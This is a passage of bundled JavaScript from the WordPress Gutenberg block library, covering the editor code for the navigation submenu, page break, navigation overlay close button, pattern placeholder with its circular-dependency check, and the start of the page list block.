          getSelectedBlockClientId,
          getBlockParentsByBlockName,
          getBlock,
          getBlockCount,
          getBlockOrder
        } = select9(import_block_editor163.store);
        let _onlyDescendantIsEmptyLink;
        const selectedBlockId = getSelectedBlockClientId();
        const selectedBlockChildren = getBlockOrder(selectedBlockId);
        if (selectedBlockChildren?.length === 1) {
          const singleBlock = getBlock(selectedBlockChildren[0]);
          _onlyDescendantIsEmptyLink = singleBlock?.name === &quot;core/navigation-link&quot; &amp;&amp; !singleBlock?.attributes?.label;
        }
        return {
          parentCount: getBlockParentsByBlockName(
            clientId,
            &quot;core/navigation-submenu&quot;
          ).length,
          isParentOfSelectedBlock: hasSelectedInnerBlock(
            clientId,
            true
          ),
          isImmediateParentOfSelectedBlock: hasSelectedInnerBlock(
            clientId,
            false
          ),
          hasChildren: !!getBlockCount(clientId),
          selectedBlockHasChildren: !!selectedBlockChildren?.length,
          onlyDescendantIsEmptyLink: _onlyDescendantIsEmptyLink
        };
      },
      [clientId]
    );
    const validateLinkStatus = useEnableLinkStatusValidation(clientId);
    const prevHasChildren = (0, import_compose38.usePrevious)(hasChildren);
    const [isInvalid, isDraft] = useIsInvalidLink(
      kind,
      type,
      id,
      validateLinkStatus
    );
    (0, import_element82.useEffect)(() =&gt; {
      if (!openSubmenusOnClick &amp;&amp; !url) {
        setIsLinkOpen(true);
      }
    }, []);
    (0, import_element82.useEffect)(() =&gt; {
      if (!isSelected) {
        setIsLinkOpen(false);
      }
    }, [isSelected]);
    (0, import_element82.useEffect)(() =&gt; {
      if (isLinkOpen &amp;&amp; url) {
        if ((0, import_url16.isURL)((0, import_url16.prependHTTP)(label)) &amp;&amp; /^.+\.[a-z]+/.test(label)) {
          selectLabelText(ref);
        }
      }
    }, [url]);
    const {
      textColor,
      customTextColor,
      backgroundColor,
      customBackgroundColor
    } = getColors(context, parentCount &gt; 0);
    function onKeyDown(event) {
      if (import_keycodes6.isKeyboardEvent.primary(event, &quot;k&quot;)) {
        event.preventDefault();
        event.stopPropagation();
        setIsLinkOpen(true);
      }
    }
    const blockProps = (0, import_block_editor163.useBlockProps)({
      ref: (0, import_compose38.useMergeRefs)([setPopoverAnchor, listItemRef]),
      className: clsx_default(&quot;wp-block-navigation-item&quot;, {
        &quot;is-editing&quot;: isSelected || isParentOfSelectedBlock,
        &quot;is-dragging-within&quot;: isDraggingWithin,
        &quot;has-link&quot;: !!url,
        &quot;has-child&quot;: hasChildren,
        &quot;has-text-color&quot;: !!textColor || !!customTextColor,
        [(0, import_block_editor163.getColorClassName)(&quot;color&quot;, textColor)]: !!textColor,
        &quot;has-background&quot;: !!backgroundColor || customBackgroundColor,
        [(0, import_block_editor163.getColorClassName)(&quot;background-color&quot;, backgroundColor)]: !!backgroundColor,
        &quot;open-on-click&quot;: openSubmenusOnClick,
        &quot;open-always&quot;: submenuVisibility === &quot;always&quot;
      }),
      style: {
        color: !textColor &amp;&amp; customTextColor,
        backgroundColor: !backgroundColor &amp;&amp; customBackgroundColor
      },
      onKeyDown
    });
    const innerBlocksColors = getColors(context, true);
    const allowedBlocks = parentCount &gt;= maxNestingLevel ? ALLOWED_BLOCKS.filter(
      (blockName) =&gt; blockName !== &quot;core/navigation-submenu&quot;
    ) : ALLOWED_BLOCKS;
    const navigationChildBlockProps = getNavigationChildBlockProps(innerBlocksColors);
    const innerBlocksProps = (0, import_block_editor163.useInnerBlocksProps)(navigationChildBlockProps, {
      allowedBlocks,
      defaultBlock: DEFAULT_BLOCK5,
      directInsert: true,
      // Ensure block toolbar is not too far removed from item
      // being edited.
      // see: https://github.com/WordPress/gutenberg/pull/34615.
      __experimentalCaptureToolbars: true,
      renderAppender: isSelected || isImmediateParentOfSelectedBlock &amp;&amp; !selectedBlockHasChildren || // Show the appender while dragging to allow inserting element between item and the appender.
      hasChildren ? import_block_editor163.InnerBlocks.ButtonBlockAppender : false
    });
    const ParentElement = openSubmenusOnClick ? &quot;button&quot; : &quot;a&quot;;
    function transformToLink() {
      const newLinkBlock = (0, import_blocks66.createBlock)(&quot;core/navigation-link&quot;, attributes2);
      replaceBlock(clientId, newLinkBlock);
    }
    (0, import_element82.useEffect)(() =&gt; {
      if (!hasChildren &amp;&amp; prevHasChildren) {
        __unstableMarkNextChangeAsNotPersistent();
        transformToLink();
      }
    }, [hasChildren, prevHasChildren]);
    const canConvertToLink = !selectedBlockHasChildren || onlyDescendantIsEmptyLink;
    return /* @__PURE__ */ (0, import_jsx_runtime339.jsxs)(import_jsx_runtime339.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(import_block_editor163.BlockControls, { children: /* @__PURE__ */ (0, import_jsx_runtime339.jsxs)(import_components96.ToolbarGroup, { children: [
        !openSubmenusOnClick &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
          import_components96.ToolbarButton,
          {
            name: &quot;link&quot;,
            icon: link_default,
            title: (0, import_i18n145.__)(&quot;Link&quot;),
            shortcut: import_keycodes6.displayShortcut.primary(&quot;k&quot;),
            onClick: () =&gt; {
              setIsLinkOpen(true);
            }
          }
        ),
        /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
          import_components96.ToolbarButton,
          {
            name: &quot;revert&quot;,
            icon: remove_submenu_default,
            title: (0, import_i18n145.__)(&quot;Convert to Link&quot;),
            onClick: transformToLink,
            className: &quot;wp-block-navigation__submenu__revert&quot;,
            disabled: !canConvertToLink
          }
        )
      ] }) }),
      /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(import_block_editor163.InspectorControls, { group: &quot;content&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
        Controls2,
        {
          attributes: attributes2,
          setAttributes,
          clientId,
          isLinkEditable: !openSubmenusOnClick
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime339.jsxs)(&quot;div&quot;, { ...blockProps, children: [
        /* @__PURE__ */ (0, import_jsx_runtime339.jsxs)(ParentElement, { className: &quot;wp-block-navigation-item__content&quot;, children: [
          !isInvalid &amp;&amp; !isDraft &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime339.jsxs)(import_jsx_runtime339.Fragment, { children: [
            /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
              import_block_editor163.RichText,
              {
                ref,
                identifier: &quot;label&quot;,
                className: &quot;wp-block-navigation-item__label&quot;,
                value: label,
                onChange: (labelValue) =&gt; setAttributes({ label: labelValue }),
                onMerge: mergeBlocks,
                onReplace,
                &quot;aria-label&quot;: (0, import_i18n145.__)(&quot;Navigation link text&quot;),
                placeholder: itemLabelPlaceholder,
                withoutInteractiveFormatting: true,
                onClick: () =&gt; {
                  if (!openSubmenusOnClick &amp;&amp; !url) {
                    setIsLinkOpen(true);
                  }
                }
              }
            ),
            description &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(&quot;span&quot;, { className: &quot;wp-block-navigation-item__description&quot;, children: description })
          ] }),
          (isInvalid || isDraft) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
            InvalidDraftDisplay,
            {
              label,
              isInvalid,
              isDraft,
              className: &quot;wp-block-navigation-item__label&quot;
            }
          ),
          !openSubmenusOnClick &amp;&amp; isLinkOpen &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(
            LinkUI,
            {
              clientId,
              link: attributes2,
              entity: {
                entityRecord,
                hasBinding: hasUrlBinding,
                isEntityAvailable: isBoundEntityAvailable
              },
              onClose: () =&gt; {
                setIsLinkOpen(false);
              },
              anchor: popoverAnchor,
              onRemove: () =&gt; {
                setAttributes({ url: &quot;&quot; });
                (0, import_a11y4.speak)((0, import_i18n145.__)(&quot;Link removed.&quot;), &quot;assertive&quot;);
              },
              onChange: handleLinkChange
            }
          )
        ] }),
        (showSubmenuIcon || openSubmenusOnClick) &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(&quot;span&quot;, { className: &quot;wp-block-navigation__submenu-icon&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(ItemSubmenuIcon, {}) }),
        /* @__PURE__ */ (0, import_jsx_runtime339.jsx)(&quot;div&quot;, { ...innerBlocksProps })
      ] })
    ] });
  }

  // packages/block-library/build-module/navigation-submenu/save.mjs
  var import_block_editor164 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime340 = __toESM(require_jsx_runtime(), 1);
  function save35() {
    return /* @__PURE__ */ (0, import_jsx_runtime340.jsx)(import_block_editor164.InnerBlocks.Content, {});
  }

  // packages/block-library/build-module/navigation-submenu/transforms.mjs
  var import_blocks67 = __toESM(require_blocks(), 1);
  var transforms19 = {
    to: [
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/navigation-link&quot;],
        isMatch: (attributes2, block) =&gt; block?.innerBlocks?.length === 0,
        transform: (attributes2) =&gt; (0, import_blocks67.createBlock)(&quot;core/navigation-link&quot;, attributes2)
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/spacer&quot;],
        isMatch: (attributes2, block) =&gt; block?.innerBlocks?.length === 0,
        transform: () =&gt; {
          return (0, import_blocks67.createBlock)(&quot;core/spacer&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/site-logo&quot;],
        isMatch: (attributes2, block) =&gt; block?.innerBlocks?.length === 0,
        transform: () =&gt; {
          return (0, import_blocks67.createBlock)(&quot;core/site-logo&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/home-link&quot;],
        isMatch: (attributes2, block) =&gt; block?.innerBlocks?.length === 0,
        transform: () =&gt; {
          return (0, import_blocks67.createBlock)(&quot;core/home-link&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/social-links&quot;],
        isMatch: (attributes2, block) =&gt; block?.innerBlocks?.length === 0,
        transform: () =&gt; {
          return (0, import_blocks67.createBlock)(&quot;core/social-links&quot;);
        }
      },
      {
        type: &quot;block&quot;,
        blocks: [&quot;core/search&quot;],
        isMatch: (attributes2, block) =&gt; block?.innerBlocks?.length === 0,
        transform: () =&gt; {
          return (0, import_blocks67.createBlock)(&quot;core/search&quot;);
        }
      }
    ]
  };
  var transforms_default20 = transforms19;

  // packages/block-library/build-module/navigation-submenu/index.mjs
  var { fieldsKey: fieldsKey13, formKey: formKey13 } = unlock(import_blocks68.privateApis);
  var { name: name56 } = block_default56;
  var settings56 = {
    icon: ({ context }) =&gt; {
      if (context === &quot;list-view&quot;) {
        return page_default;
      }
      return add_submenu_default;
    },
    __experimentalLabel(attributes2, { context }) {
      const { label } = attributes2;
      const customName = attributes2?.metadata?.name;
      if ((context === &quot;list-view&quot; || context === &quot;breadcrumb&quot;) &amp;&amp; customName) {
        return customName;
      }
      return label;
    },
    edit: NavigationSubmenuEdit,
    example: {
      attributes: {
        label: (0, import_i18n146._x)(&quot;About&quot;, &quot;Example link text for Navigation Submenu&quot;),
        type: &quot;page&quot;
      }
    },
    save: save35,
    transforms: transforms_default20
  };
  if (window.__experimentalContentOnlyInspectorFields) {
    settings56[fieldsKey13] = [
      {
        id: &quot;label&quot;,
        label: (0, import_i18n146.__)(&quot;Label&quot;),
        type: &quot;text&quot;,
        Edit: &quot;rich-text&quot;
        //TODO: replace with custom component
      },
      {
        id: &quot;link&quot;,
        label: (0, import_i18n146.__)(&quot;Link&quot;),
        type: &quot;url&quot;,
        Edit: &quot;link&quot;,
        // TODO: replace with custom component
        getValue: ({ item }) =&gt; ({
          url: item.url,
          rel: item.rel
        }),
        setValue: ({ value }) =&gt; ({
          url: value.url,
          rel: value.rel
        })
      }
    ];
    settings56[formKey13] = {
      fields: [&quot;label&quot;, &quot;link&quot;]
    };
  }
  var init56 = () =&gt; initBlock({ name: name56, metadata: block_default56, settings: settings56 });

  // packages/block-library/build-module/nextpage/index.mjs
  var nextpage_exports = {};
  __export(nextpage_exports, {
    init: () =&gt; init57,
    metadata: () =&gt; block_default57,
    name: () =&gt; name57,
    settings: () =&gt; settings57
  });

  // packages/block-library/build-module/nextpage/edit.mjs
  var import_i18n147 = __toESM(require_i18n(), 1);
  var import_block_editor165 = __toESM(require_block_editor(), 1);
  var import_jsx_runtime341 = __toESM(require_jsx_runtime(), 1);
  function NextPageEdit() {
    return /* @__PURE__ */ (0, import_jsx_runtime341.jsx)(&quot;div&quot;, { ...(0, import_block_editor165.useBlockProps)(), children: /* @__PURE__ */ (0, import_jsx_runtime341.jsx)(&quot;span&quot;, { children: (0, import_i18n147.__)(&quot;Page break&quot;) }) });
  }

  // packages/block-library/build-module/nextpage/block.json
  var block_default57 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/nextpage&quot;,
    title: &quot;Page Break&quot;,
    category: &quot;design&quot;,
    description: &quot;Separate your content into a multi-page experience.&quot;,
    keywords: [&quot;next page&quot;, &quot;pagination&quot;],
    parent: [&quot;core/post-content&quot;],
    textdomain: &quot;default&quot;,
    supports: {
      customClassName: false,
      className: false,
      html: false,
      visibility: false,
      interactivity: {
        clientNavigation: true
      },
      customCSS: false
    },
    editorStyle: &quot;wp-block-nextpage-editor&quot;
  };

  // packages/block-library/build-module/nextpage/save.mjs
  var import_element83 = __toESM(require_element(), 1);
  var import_jsx_runtime342 = __toESM(require_jsx_runtime(), 1);
  function save36() {
    return /* @__PURE__ */ (0, import_jsx_runtime342.jsx)(import_element83.RawHTML, { children: &quot;&lt;!--nextpage--&gt;&quot; });
  }

  // packages/block-library/build-module/nextpage/transforms.mjs
  var import_blocks69 = __toESM(require_blocks(), 1);
  var transforms20 = {
    from: [
      {
        type: &quot;raw&quot;,
        schema: {
          &quot;wp-block&quot;: { attributes: [&quot;data-block&quot;] }
        },
        isMatch: (node) =&gt; node.dataset &amp;&amp; node.dataset.block === &quot;core/nextpage&quot;,
        transform() {
          return (0, import_blocks69.createBlock)(&quot;core/nextpage&quot;, {});
        }
      }
    ]
  };
  var transforms_default21 = transforms20;

  // packages/block-library/build-module/nextpage/index.mjs
  var { name: name57 } = block_default57;
  var settings57 = {
    icon: page_break_default,
    example: {},
    transforms: transforms_default21,
    edit: NextPageEdit,
    save: save36
  };
  var init57 = () =&gt; initBlock({ name: name57, metadata: block_default57, settings: settings57 });

  // packages/block-library/build-module/navigation-overlay-close/index.mjs
  var navigation_overlay_close_exports = {};
  __export(navigation_overlay_close_exports, {
    init: () =&gt; init58,
    metadata: () =&gt; block_default58,
    name: () =&gt; name58,
    settings: () =&gt; settings58
  });
  var import_hooks46 = __toESM(require_hooks(), 1);

  // packages/block-library/build-module/navigation-overlay-close/edit.mjs
  var import_block_editor166 = __toESM(require_block_editor(), 1);
  var import_components97 = __toESM(require_components(), 1);
  var import_i18n148 = __toESM(require_i18n(), 1);
  var import_jsx_runtime343 = __toESM(require_jsx_runtime(), 1);
  function NavigationOverlayCloseEdit({
    attributes: attributes2,
    setAttributes
  }) {
    const { displayMode, text } = attributes2;
    const showIcon = displayMode === &quot;icon&quot; || displayMode === &quot;both&quot;;
    const showText = displayMode === &quot;text&quot; || displayMode === &quot;both&quot;;
    const displayText = text || (0, import_i18n148.__)(&quot;Close&quot;);
    const blockProps = (0, import_block_editor166.useBlockProps)({
      className: &quot;wp-block-navigation-overlay-close&quot;
    });
    const dropdownMenuProps = useToolsPanelDropdownMenuProps();
    return /* @__PURE__ */ (0, import_jsx_runtime343.jsxs)(import_jsx_runtime343.Fragment, { children: [
      /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(import_block_editor166.InspectorControls, { children: /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
        import_components97.__experimentalToolsPanel,
        {
          label: (0, import_i18n148.__)(&quot;Settings&quot;),
          resetAll: () =&gt; setAttributes({ displayMode: &quot;icon&quot; }),
          dropdownMenuProps,
          children: /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
            import_components97.__experimentalToolsPanelItem,
            {
              label: (0, import_i18n148.__)(&quot;Display Mode&quot;),
              isShownByDefault: true,
              hasValue: () =&gt; displayMode !== &quot;icon&quot;,
              onDeselect: () =&gt; setAttributes({ displayMode: &quot;icon&quot; }),
              children: /* @__PURE__ */ (0, import_jsx_runtime343.jsxs)(
                import_components97.__experimentalToggleGroupControl,
                {
                  label: (0, import_i18n148.__)(&quot;Display Mode&quot;),
                  value: displayMode,
                  onChange: (value) =&gt; setAttributes({ displayMode: value }),
                  isBlock: true,
                  __next40pxDefaultSize: true,
                  children: [
                    /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
                      import_components97.__experimentalToggleGroupControlOption,
                      {
                        value: &quot;icon&quot;,
                        label: (0, import_i18n148.__)(&quot;Icon&quot;)
                      }
                    ),
                    /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
                      import_components97.__experimentalToggleGroupControlOption,
                      {
                        value: &quot;text&quot;,
                        label: (0, import_i18n148.__)(&quot;Text&quot;)
                      }
                    ),
                    /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
                      import_components97.__experimentalToggleGroupControlOption,
                      {
                        value: &quot;both&quot;,
                        label: (0, import_i18n148.__)(&quot;Both&quot;)
                      }
                    )
                  ]
                }
              )
            }
          )
        }
      ) }),
      /* @__PURE__ */ (0, import_jsx_runtime343.jsxs)(
        &quot;button&quot;,
        {
          ...blockProps,
          type: &quot;button&quot;,
          &quot;aria-label&quot;: !showText ? (0, import_i18n148.__)(&quot;Close&quot;) : void 0,
          children: [
            showIcon &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(icon_default, { icon: close_default }),
            showText &amp;&amp; /* @__PURE__ */ (0, import_jsx_runtime343.jsx)(
              import_block_editor166.RichText,
              {
                identifier: &quot;text&quot;,
                value: displayText,
                onChange: (value) =&gt; setAttributes({ text: value }),
                tagName: &quot;span&quot;,
                className: &quot;wp-block-navigation-overlay-close__text&quot;,
                allowedFormats: [&quot;core/bold&quot;, &quot;core/italic&quot;]
              }
            )
          ]
        }
      )
    ] });
  }

  // packages/block-library/build-module/navigation-overlay-close/block.json
  var block_default58 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/navigation-overlay-close&quot;,
    title: &quot;Navigation Overlay Close&quot;,
    category: &quot;design&quot;,
    description: &quot;A customizable button to close overlays.&quot;,
    keywords: [&quot;close&quot;, &quot;overlay&quot;, &quot;navigation&quot;, &quot;menu&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      displayMode: {
        type: &quot;string&quot;,
        enum: [&quot;icon&quot;, &quot;text&quot;, &quot;both&quot;],
        default: &quot;icon&quot;
      },
      text: {
        type: &quot;string&quot;
      }
    },
    supports: {
      color: {
        gradients: false,
        __experimentalDefaultControls: {
          background: true,
          text: true
        }
      },
      spacing: {
        padding: true,
        __experimentalDefaultControls: {
          padding: true
        }
      },
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      }
    },
    style: &quot;wp-block-navigation-overlay-close&quot;
  };

  // packages/block-library/build-module/navigation-overlay-close/icon.mjs
  var import_primitives164 = __toESM(require_primitives(), 1);
  var import_jsx_runtime344 = __toESM(require_jsx_runtime(), 1);
  var icon_default3 = /* @__PURE__ */ (0, import_jsx_runtime344.jsx)(import_primitives164.SVG, { xmlns: &quot;http://www.w3.org/2000/svg&quot;, viewBox: &quot;0 0 24 24&quot;, children: /* @__PURE__ */ (0, import_jsx_runtime344.jsx)(import_primitives164.Path, { d: &quot;M18 4H6c-1.1 0-2 .9-2 2v12c0 1.1.9 2 2 2h12c1.1 0 2-.9 2-2V6c0-1.1-.9-2-2-2Zm.5 14c0 .3-.2.5-.5.5H6c-.3 0-.5-.2-.5-.5V6c0-.3.2-.5.5-.5h12c.3 0 .5.2.5.5v12ZM15 8l-3 3-3-3-1.1 1.1 3 3-3 3L9 16.2l3-3 3 3 1.1-1.1-3-3 3-3L15 8Z&quot; }) });

  // packages/block-library/build-module/navigation-overlay-close/index.mjs
  var { name: name58 } = block_default58;
  var settings58 = {
    icon: icon_default3,
    edit: NavigationOverlayCloseEdit
  };
  var init58 = () =&gt; {
    (0, import_hooks46.addFilter)(
      &quot;blockEditor.__unstableCanInsertBlockType&quot;,
      &quot;core/navigation-overlay-close/restrict-to-overlay-template-parts&quot;,
      (canInsert, blockType) =&gt; {
        if (blockType.name !== &quot;core/navigation-overlay-close&quot;) {
          return canInsert;
        }
        if (!canInsert) {
          return canInsert;
        }
        return isWithinNavigationOverlay();
      }
    );
    return initBlock({ name: name58, metadata: block_default58, settings: settings58 });
  };

  // packages/block-library/build-module/pattern/index.mjs
  var pattern_exports = {};
  __export(pattern_exports, {
    init: () =&gt; init59,
    metadata: () =&gt; block_default59,
    name: () =&gt; name59,
    settings: () =&gt; settings59
  });

  // packages/block-library/build-module/pattern/block.json
  var block_default59 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/pattern&quot;,
    title: &quot;Pattern Placeholder&quot;,
    category: &quot;theme&quot;,
    description: &quot;Show a block pattern.&quot;,
    supports: {
      html: false,
      inserter: false,
      renaming: false,
      visibility: false,
      interactivity: {
        clientNavigation: true
      }
    },
    textdomain: &quot;default&quot;,
    attributes: {
      slug: {
        type: &quot;string&quot;
      }
    }
  };

  // packages/block-library/build-module/pattern/edit.mjs
  var import_blocks70 = __toESM(require_blocks(), 1);
  var import_data91 = __toESM(require_data(), 1);
  var import_element84 = __toESM(require_element(), 1);
  var import_block_editor167 = __toESM(require_block_editor(), 1);
  var import_core_data51 = __toESM(require_core_data(), 1);
  var import_i18n149 = __toESM(require_i18n(), 1);

  // packages/block-library/build-module/pattern/recursion-detector.mjs
  var import_data90 = __toESM(require_data(), 1);
  var cachedParsers = /* @__PURE__ */ new WeakMap();
  function useParsePatternDependencies() {
    const registry = (0, import_data90.useRegistry)();
    if (!cachedParsers.has(registry)) {
      const deps = /* @__PURE__ */ new Map();
      cachedParsers.set(
        registry,
        parsePatternDependencies.bind(null, deps)
      );
    }
    return cachedParsers.get(registry);
  }
  function parsePatternDependencies(deps, { name: name123, blocks }) {
    const queue = [...blocks];
    while (queue.length) {
      const block = queue.shift();
      for (const innerBlock of block.innerBlocks ?? []) {
        queue.unshift(innerBlock);
      }
      if (block.name === &quot;core/pattern&quot;) {
        registerDependency(deps, name123, block.attributes.slug);
      }
    }
  }
  function registerDependency(deps, a2, b2) {
    if (!deps.has(a2)) {
      deps.set(a2, /* @__PURE__ */ new Set());
    }
    deps.get(a2).add(b2);
    if (hasCycle(deps, a2)) {
      throw new TypeError(
        `Pattern ${a2} has a circular dependency and cannot be rendered.`
      );
    }
  }
  function hasCycle(deps, slug, visitedNodes = /* @__PURE__ */ new Set(), currentPath = /* @__PURE__ */ new Set()) {
    visitedNodes.add(slug);
    currentPath.add(slug);
    const dependencies = deps.get(slug) ?? /* @__PURE__ */ new Set();
    for (const dependency of dependencies) {
      if (!visitedNodes.has(dependency)) {
        if (hasCycle(deps, dependency, visitedNodes, currentPath)) {
          return true;
        }
      } else if (currentPath.has(dependency)) {
        return true;
      }
    }
    currentPath.delete(slug);
    return false;
  }

  // packages/block-library/build-module/pattern/edit.mjs
  var import_jsx_runtime345 = __toESM(require_jsx_runtime(), 1);
  var PatternEdit = ({ attributes: attributes2, clientId }) =&gt; {
    const registry = (0, import_data91.useRegistry)();
    const selectedPattern = (0, import_data91.useSelect)(
      (select9) =&gt; select9(import_block_editor167.store).__experimentalGetParsedPattern(
        attributes2.slug
      ),
      [attributes2.slug]
    );
    const currentThemeStylesheet = (0, import_data91.useSelect)(
      (select9) =&gt; select9(import_core_data51.store).getCurrentTheme()?.stylesheet,
      []
    );
    const {
      replaceBlocks,
      setBlockEditingMode,
      __unstableMarkNextChangeAsNotPersistent
    } = (0, import_data91.useDispatch)(import_block_editor167.store);
    const { getBlockRootClientId, getBlockEditingMode } = (0, import_data91.useSelect)(import_block_editor167.store);
    const [hasRecursionError, setHasRecursionError] = (0, import_element84.useState)(false);
    const parsePatternDependencies2 = useParsePatternDependencies();
    function injectThemeAttributeInBlockTemplateContent(block) {
      if (block.innerBlocks.find(
        (innerBlock) =&gt; innerBlock.name === &quot;core/template-part&quot;
      )) {
        block.innerBlocks = block.innerBlocks.map((innerBlock) =&gt; {
          if (innerBlock.name === &quot;core/template-part&quot; &amp;&amp; innerBlock.attributes.theme === void 0) {
            innerBlock.attributes.theme = currentThemeStylesheet;
          }
          return innerBlock;
        });
      }
      if (block.name === &quot;core/template-part&quot; &amp;&amp; block.attributes.theme === void 0) {
        block.attributes.theme = currentThemeStylesheet;
      }
      return block;
    }
    (0, import_element84.useEffect)(() =&gt; {
      if (!hasRecursionError &amp;&amp; selectedPattern?.blocks) {
        try {
          parsePatternDependencies2(selectedPattern);
        } catch (error) {
          setHasRecursionError(true);
          return;
        }
        window.queueMicrotask(() =&gt; {
          const rootClientId = getBlockRootClientId(clientId);
          const clonedBlocks = selectedPattern.blocks.map(
            (block) =&gt; (0, import_blocks70.cloneBlock)(
              injectThemeAttributeInBlockTemplateContent(block)
            )
          );
          if (clonedBlocks.length === 1 &amp;&amp; selectedPattern.categories?.length &gt; 0) {
            clonedBlocks[0].attributes = {
              ...clonedBlocks[0].attributes,
              metadata: {
                ...clonedBlocks[0].attributes.metadata,
                categories: selectedPattern.categories,
                patternName: selectedPattern.name,
                name: clonedBlocks[0].attributes.metadata.name || selectedPattern.title
              }
            };
          }
          const rootEditingMode = getBlockEditingMode(rootClientId);
          registry.batch(() =&gt; {
            __unstableMarkNextChangeAsNotPersistent();
            setBlockEditingMode(rootClientId, &quot;default&quot;);
            __unstableMarkNextChangeAsNotPersistent();
            replaceBlocks(clientId, clonedBlocks);
            __unstableMarkNextChangeAsNotPersistent();
            setBlockEditingMode(rootClientId, rootEditingMode);
          });
        });
      }
    }, [
      clientId,
      hasRecursionError,
      selectedPattern,
      __unstableMarkNextChangeAsNotPersistent,
      replaceBlocks,
      getBlockEditingMode,
      setBlockEditingMode,
      getBlockRootClientId
    ]);
    const props = (0, import_block_editor167.useBlockProps)();
    if (hasRecursionError) {
      return /* @__PURE__ */ (0, import_jsx_runtime345.jsx)(&quot;div&quot;, { ...props, children: /* @__PURE__ */ (0, import_jsx_runtime345.jsx)(import_block_editor167.Warning, { children: (0, import_i18n149.sprintf)(
        // translators: A warning in which %s is the name of a pattern.
        (0, import_i18n149.__)(&#039;Pattern &quot;%s&quot; cannot be rendered inside itself.&#039;),
        selectedPattern?.name
      ) }) });
    }
    return /* @__PURE__ */ (0, import_jsx_runtime345.jsx)(&quot;div&quot;, { ...props });
  };
  var edit_default21 = PatternEdit;

  // packages/block-library/build-module/pattern/index.mjs
  var { name: name59 } = block_default59;
  var settings59 = {
    edit: edit_default21
  };
  var init59 = () =&gt; initBlock({ name: name59, metadata: block_default59, settings: settings59 });

  // packages/block-library/build-module/page-list/index.mjs
  var page_list_exports = {};
  __export(page_list_exports, {
    init: () =&gt; init60,
    metadata: () =&gt; block_default60,
    name: () =&gt; name60,
    settings: () =&gt; settings60
  });

  // packages/block-library/build-module/page-list/block.json
  var block_default60 = {
    $schema: &quot;https://schemas.wp.org/trunk/block.json&quot;,
    apiVersion: 3,
    name: &quot;core/page-list&quot;,
    title: &quot;Page List&quot;,
    category: &quot;widgets&quot;,
    allowedBlocks: [&quot;core/page-list-item&quot;],
    description: &quot;Display a list of all pages.&quot;,
    keywords: [&quot;menu&quot;, &quot;navigation&quot;],
    textdomain: &quot;default&quot;,
    attributes: {
      parentPageID: {
        type: &quot;integer&quot;,
        default: 0
      },
      isNested: {
        type: &quot;boolean&quot;,
        default: false
      }
    },
    usesContext: [
      &quot;textColor&quot;,
      &quot;customTextColor&quot;,
      &quot;backgroundColor&quot;,
      &quot;customBackgroundColor&quot;,
      &quot;overlayTextColor&quot;,
      &quot;customOverlayTextColor&quot;,
      &quot;overlayBackgroundColor&quot;,
      &quot;customOverlayBackgroundColor&quot;,
      &quot;fontSize&quot;,
      &quot;customFontSize&quot;,
      &quot;showSubmenuIcon&quot;,
      &quot;style&quot;,
      &quot;openSubmenusOnClick&quot;,
      &quot;submenuVisibility&quot;
    ],
    supports: {
      anchor: true,
      reusable: false,
      html: false,
      typography: {
        fontSize: true,
        lineHeight: true,
        __experimentalFontFamily: true,
        __experimentalFontWeight: true,
        __experimentalFontStyle: true,
        __experimentalTextTransform: true,
        __experimentalTextDecoration: true,
        __experimentalLetterSpacing: true,
        __experimentalDefaultControls: {
          fontSize: true
        }
      },
      interactivity: {
        clientNavigation: true
      },
      color: {
        text: true,
        background: true,
        link: true,
        gradients: true,
        __experimentalDefaultControls: {
          background: true,
          text: true,
          link: true
        }
      },
      __experimentalBorder: {
        radius: true,
        color: true,
        width: true,
        style: true
      },
      spacing: {
        padding: true,
        margin: true,
        __experimentalDefaultControls: {
          padding: false,
          margin: false
        }
      },
      contentRole: true
    },
    editorStyle: &quot;wp-block-page-list-editor&quot;,
    style: &quot;wp-block-page-list&quot;
  };

  // packages/block-library/build-module/page-list/edit.mjs
  var import_blocks72 = __toESM(require_blocks(), 1);
  var import_block_editor169 = __toESM(require_block_editor(), 1);
  var import_components99 = __toESM(require_components(), 1);
  var import_i18n151 = __toESM(require_i18n(), 1);
  var import_element85 = __toESM(require_element(), 1);
  var import_core_data52 = __toESM(require_core_data(), 1);
  var import_data93 = __toESM(require_data(), 1);

  // packages/block-library/build-module/page-list/use-convert-to-navigation-links.mjs
  var import_blocks71 = __toESM(require_blocks(), 1);
  var import_data92 = __toESM(require_data(), 1);
